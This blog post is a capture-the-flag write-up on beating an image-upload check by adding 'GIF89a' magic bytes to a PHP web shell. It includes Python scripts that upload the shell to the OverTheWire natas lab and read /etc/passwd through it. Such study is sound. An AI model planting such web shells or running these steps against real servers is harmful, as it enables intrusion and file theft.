Hello There

alt

In this blog post i will try to explain a technique to bypass file upload filter.There are variety of file validation techniques on server side code. For example you could validate a file’s type by checking file’s extension (which is a bad idea btw) or you could validate file type by checking content-type header (which is still a bad idea because it can be manipulated by user.) or you could use a function to validate the file for you, for example in php there is a function called “exif_imagetype()” that you could pass a file to it as an argument, and the function returns the result if it is a image file or not. This type of validation can be implemented like this : If file is an image, function returns the file type and proceed with uploading the file, if file is not an image, function returns false and cancel the operation. This function does this check by looking at magic bytes (or signature bytes). Every file has a diffrent magic byte and we can deceive validation techniques like this by changing our payload’s magic bytes. For further information about magic byte: https://en.wikipedia.org/wiki/List_of_file_signatures

In linux there is a binary called “file” which is a lot like “exif_imagetype()” function, it checks magic bytes, and print out the file type, so let’s run this binary against our php script.

alt

Default php script:

1
2
3
<?php
    system($_GET['c']);
?>

so let’s see what happens if we add “GIF89a” magic bytes (in this case strings) at the top of our code.

1
2
3
4
GIF89a
<?php
    system($_GET['c']);
?>

alt

the result is our php script now seen as .gif image file.

so let’s upload our payload to a compromised server which expects an image file (in this case i will be using overthewire natas13)

I will be using python scripts to upload our payload and execute arbitrary command.

1
2
3
4
5
6
7
8
9
10
11
12
import re
import requests

username = 'natas12'
password = 'EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3'

url = 'http://%s.natas.labs.overthewire.org/' % username

session = requests.Session()
response = session.post(url,files={'uploadedfile': open('rev.php','rb')} ,data = {"filename":"rev.php","MAX_FILE_SIZE":"1000"}, auth = (username,password))
content = response.text
print(content)

Executing commands.

1
2
3
4
5
6
7
8
9
10
11
12
import re
import requests

username = 'natas12'
password = 'EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3'

url = 'http://%s.natas.labs.overthewire.org/' % username

session = requests.Session()
response = session.get(url + 'upload/qearbyq499.php?c=cat /etc/passwd',auth=(username,password))
content = response.text
print(content)

(“qearbyq499.php” string is random generated by the server before uploading.)

alt

and just like that we got rce !